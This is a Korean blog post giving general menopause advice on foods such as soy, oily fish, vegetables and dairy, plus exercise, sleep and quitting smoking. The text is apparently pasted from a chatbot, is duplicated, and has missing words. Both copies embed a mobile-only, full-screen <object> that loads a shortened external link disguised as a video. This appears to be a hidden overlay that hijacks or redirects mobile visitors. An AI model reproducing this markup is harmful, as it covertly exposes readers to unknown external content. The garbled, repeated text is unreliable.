갱년기 예방 가이드 챙기면 좋은 음식 포함

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:37">갱년기 예방 가이드: 건강한 식단과 함께라면 더욱 건강하게!</h2><p data-sourcepos="3:1-3:116">갱년기는 여성의 삶에서 자연스러운 변화이지만, 다양한 신체적, 정신적 변화를 동반하여 삶의 질에 영향을 줄 수 있습니다. 갱년기를 건강하게 보내기 위해서는 균형 잡힌 식단과 함께 생활습관 개선이 중요합니다.</p><h3 data-sourcepos="5:1-5:15">갱년기에 좋은 음식</h3><ul data-sourcepos="7:1-18:0"> <li data-sourcepos="7:1-9:0"> <p data-sourcepos="7:3-7:117"><strong>콩류:</strong> 콩에는 이소플라본이라는 식물성 에스트로겐이 풍부하여 여성호르몬과 유사한 작용을 합니다. 두부, 콩나물, 된장 등 다양한 콩 식품을 섭취하여 갱년기 을 완화하는 데 도움을 받을 수 있습니다.</p> <ul data-sourcepos="8:5-9:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://food.daily.co.kr/recipe312819726"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="콩류 음식 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTuQ2Un_q8vX3Uc9v6Ywvja0BYlESGIGbLEsQuA5cuRDSC_C5vefxOeqj0qHt85"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://food.daily.co.kr/recipe312819726" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQ2UCvuj1zD4meq2EXC2Qp0a_BeCFT36CVOum1sNbPbdTwlpdpC5PDZsWnq0YWai1jXPBUrCxkx_-yioy3ugk2MpsJtjsXLlmGAaA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">food.daily.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩류 음식 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="10:1-12:0"> <p data-sourcepos="10:3-10:102"><strong>생선:</strong> 등푸른 생선에는 오메가-3 지방산이 풍부하여 심혈관 건강에 좋고, 혈압 조절에도 도움을 줍니다. 고등어, 삼치, 연어 등을 꾸준히 섭취하여 갱년기 건강을 관리하세요.</p> <ul data-sourcepos="11:5-12:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="등푸른 생선 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRx0Vm1ek-nbk0VFjESHHr3uJYDKF0kln9NOlGTtqsQO8s56U35uM_j9C0Q1Zqu"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 등푸른 생선 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-15:0"> <p data-sourcepos="13:3-13:124"><strong>채소와 과일:</strong> 비타민, 무기질, 항산화 물질이 풍부한 채소와 과일은 면역력을 높이고, 활성산소를 제거하여 노화를 방지하는 데 도움을 줍니다. 특히 녹색 채소, 베리류, 견과류 등을 충분히 섭취하는 것이 좋습니다.</p> <ul data-sourcepos="14:5-15:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://kormedi.com/1593719/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="채소와 과일 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcTrPDCYs0pB2XcOYoB0BMeCIgaG0Lp5oKPDrPWvFsydND3ITLpyxEnRbsUVlHNB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1593719/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn0.gstatic.com/-tbn?q=tbn:ANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 채소와 과일 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="16:1-18:0"> <p data-sourcepos="16:3-16:53"><strong>유제품:</strong> 칼슘이 풍부한 우유, 요구르트 등 유제품은 골다공증 예방에 도움을 줍니다.</p> <ul data-sourcepos="17:5-18:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%9C%A0%EC%A0%9C%ED%92%88"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="유제품 " src="https://encrypted-tbn2.gstatic.com/images?q=tbn:ANd9GcQTfHLMqAEoCOn5YKK6rsNJPB5WEctE4O02qo7kfDbb7NBHcIr7VmFyGWT2keL8"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%9C%A0%EC%A0%9C%ED%92%88" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_b0abd958fbdda687&quot;,&quot;c_e117bb457bbd0e23&quot;,null,&quot;rc_f0b351c1878062d9&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 유제품 </div></div></single-image></response-element></div></span> </ul> </li> </ul><h3 data-sourcepos="19:1-19:20">갱년기 예방을 위한 생활습관</h3><ul data-sourcepos="21:1-26:0"> <li data-sourcepos="21:1-21:66"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하여 심폐 기능을 강화하고, 근육량을 유지하는 것이 좋습니다.</li> <li data-sourcepos="22:1-22:44"><strong>충분한 수면:</strong> 숙면은 스트레스 해소와 호르몬 균형 유지에 중요합니다.</li> <li data-sourcepos="23:1-23:53"><strong>스트레스 관리:</strong> 명상, 요가 등 자신에게 맞는 스트레스 해소 방법을 찾아 실천하세요.</li> <li data-sourcepos="24:1-24:47"><strong>금연:</strong> 흡연은 심혈관 , 호흡기 등 다양한 질병의 원인이 됩니다.</li> <li data-sourcepos="25:1-26:0"><strong>절주:</strong> 과도한 음주는 건강에 악영향을 미칠 수 있습니다.</li> </ul><h3 data-sourcepos="27:1-27:20">갱년기, 건강하게 이겨내세요!</h3><p data-sourcepos="29:1-29:121">갱년기는 여성의 삶에서 자연스러운 변화이지만, 건강한 식단과 생활습관을 통해 충분히 극복할 수 있습니다. 균형 잡힌 식단과 함께 규칙적인 운동, 충분한 수면, 스트레스 관리를 통해 건강한 갱년기를 보내시길 바랍니다.</p><p data-sourcepos="31:1-31:106"><strong>주의:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다. 갱년기 이 심하거나 건강에 대한 궁금한 점이 있다면 반드시 전문가와 상담하세요.</p><p data-sourcepos="33:1-33:31"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p><p data-sourcepos="35:1-35:50"><strong>키워드:</strong> 갱년기, 갱년기 예방, 갱년기 식단, 갱년기 운동, 여성 건강, 건강 정보</p><p data-sourcepos="37:1-37:111"><strong>참고:</strong> 위에 제시된 는 예시이며, 실제 는 검색 엔진에서 '콩류 음식', '등푸른 생선', '채소와 과일', '유제품' 등의 키워드로 검색하여 다양한 를 확인할 수 있습니다.</p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3a" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c989002767="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:37">갱년기 예방 가이드: 건강한 식단과 함께라면 더욱 건강하게!</h2><p data-sourcepos="3:1-3:116">갱년기는 여성의 삶에서 자연스러운 변화이지만, 다양한 신체적, 정신적 변화를 동반하여 삶의 질에 영향을 줄 수 있습니다. 갱년기를 건강하게 보내기 위해서는 균형 잡힌 식단과 함께 생활습관 개선이 중요합니다.</p><h3 data-sourcepos="5:1-5:15">갱년기에 좋은 음식</h3><ul data-sourcepos="7:1-18:0"> <li data-sourcepos="7:1-9:0"> <p data-sourcepos="7:3-7:117"><strong>콩류:</strong> 콩에는 이소플라본이라는 식물성 에스트로겐이 풍부하여 여성호르몬과 유사한 작용을 합니다. 두부, 콩나물, 된장 등 다양한 콩 식품을 섭취하여 갱년기 을 완화하는 데 도움을 받을 수 있습니다.</p> <ul data-sourcepos="8:5-9:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://food.daily.co.kr/recipe312819726"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="콩류 음식 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTuQ2Un_q8vX3Uc9v6Ywvja0BYlESGIGbLEsQuA5cuRDSC_C5vefxOeqj0qHt85"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://food.daily.co.kr/recipe312819726" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQ2UCvuj1zD4meq2EXC2Qp0a_BeCFT36CVOum1sNbPbdTwlpdpC5PDZsWnq0YWai1jXPBUrCxkx_-yioy3ugk2MpsJtjsXLlmGAaA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">food.daily.co.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 콩류 음식 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="10:1-12:0"> <p data-sourcepos="10:3-10:102"><strong>생선:</strong> 등푸른 생선에는 오메가-3 지방산이 풍부하여 심혈관 건강에 좋고, 혈압 조절에도 도움을 줍니다. 고등어, 삼치, 연어 등을 꾸준히 섭취하여 갱년기 건강을 관리하세요.</p> <ul data-sourcepos="11:5-12:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="등푸른 생선 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRx0Vm1ek-nbk0VFjESHHr3uJYDKF0kln9NOlGTtqsQO8s56U35uM_j9C0Q1Zqu"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://ko.wikipedia.org/wiki/%EB%93%B1%ED%91%B8%EB%A5%B8%EC%83%9D%EC%84%A0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQYtmdcl8iY4_F9QIVUF7rcJWPcJY3DJJMYNz0OFczRxRphw86aShEnPM2slInt1YxDDuWcvkAJ0oS1Ny5DUEnCvqx_t9JvlgR0QA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">ko.wikipedia.org</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 등푸른 생선 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="13:1-15:0"> <p data-sourcepos="13:3-13:124"><strong>채소와 과일:</strong> 비타민, 무기질, 항산화 물질이 풍부한 채소와 과일은 면역력을 높이고, 활성산소를 제거하여 노화를 방지하는 데 도움을 줍니다. 특히 녹색 채소, 베리류, 견과류 등을 충분히 섭취하는 것이 좋습니다.</p> <ul data-sourcepos="14:5-15:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kormedi.com/1593719/"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="채소와 과일 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTrPDCYs0pB2XcOYoB0BMeCIgaG0Lp5oKPDrPWvFsydND3ITLpyxEnRbsUVlHNB"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kormedi.com/1593719/" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTLg2VmTGS5zyZ-G6fulmgu9bqPAYBn2FfTjkKxc6_sy9zGtJkRtZGQ1z7EFiotvG40druhbhwl0RVNR7sJlBEX-rLVcv8"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kormedi.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 채소와 과일 </div></div></single-image></response-element></div></span> </ul> </li> <li data-sourcepos="16:1-18:0"> <p data-sourcepos="16:3-16:53"><strong>유제품:</strong> 칼슘이 풍부한 우유, 요구르트 등 유제품은 골다공증 예방에 도움을 줍니다.</p> <ul data-sourcepos="17:5-18:0"> <span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://namu.wiki/w/%EC%9C%A0%EC%A0%9C%ED%92%88"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="유제품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQTfHLMqAEoCOn5YKK6rsNJPB5WEctE4O02qo7kfDbb7NBHcIr7VmFyGWT2keL8"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://namu.wiki/w/%EC%9C%A0%EC%A0%9C%ED%92%88" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_b0abd958fbdda687","c_e117bb457bbd0e23",null,"rc_f0b351c1878062d9",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQisTFa9s2FwGPZHGmkZ6LmYNTL6zS4nyvnBfG4eI5cRR0pAhLMsjPhiErRpJWbFeofr3HmSrrhAh2ZqT9isMBrzTeX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">namu.wiki</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 유제품 </div></div></single-image></response-element></div></span> </ul> </li> </ul><h3 data-sourcepos="19:1-19:20">갱년기 예방을 위한 생활습관</h3><ul data-sourcepos="21:1-26:0"> <li data-sourcepos="21:1-21:66"><strong>규칙적인 운동:</strong> 유산소 운동과 근력 운동을 병행하여 심폐 기능을 강화하고, 근육량을 유지하는 것이 좋습니다.</li> <li data-sourcepos="22:1-22:44"><strong>충분한 수면:</strong> 숙면은 스트레스 해소와 호르몬 균형 유지에 중요합니다.</li> <li data-sourcepos="23:1-23:53"><strong>스트레스 관리:</strong> 명상, 요가 등 자신에게 맞는 스트레스 해소 방법을 찾아 실천하세요.</li> <li data-sourcepos="24:1-24:47"><strong>금연:</strong> 흡연은 심혈관 , 호흡기 등 다양한 질병의 원인이 됩니다.</li> <li data-sourcepos="25:1-26:0"><strong>절주:</strong> 과도한 음주는 건강에 악영향을 미칠 수 있습니다.</li> </ul><h3 data-sourcepos="27:1-27:20">갱년기, 건강하게 이겨내세요!</h3><p data-sourcepos="29:1-29:121">갱년기는 여성의 삶에서 자연스러운 변화이지만, 건강한 식단과 생활습관을 통해 충분히 극복할 수 있습니다. 균형 잡힌 식단과 함께 규칙적인 운동, 충분한 수면, 스트레스 관리를 통해 건강한 갱년기를 보내시길 바랍니다.</p><p data-sourcepos="31:1-31:106"><strong>주의:</strong> 위 정보는 일반적인 건강 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다. 갱년기 이 심하거나 건강에 대한 궁금한 점이 있다면 반드시 전문가와 상담하세요.</p><p data-sourcepos="33:1-33:31"><strong>더 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p><p data-sourcepos="35:1-35:50"><strong>키워드:</strong> 갱년기, 갱년기 예방, 갱년기 식단, 갱년기 운동, 여성 건강, 건강 정보</p><p data-sourcepos="37:1-37:111"><strong>참고:</strong> 위에 제시된 는 예시이며, 실제 는 검색 엔진에서 '콩류 음식', '등푸른 생선', '채소와 과일', '유제품' 등의 키워드로 검색하여 다양한 를 확인할 수 있습니다.</p></div> </div></div>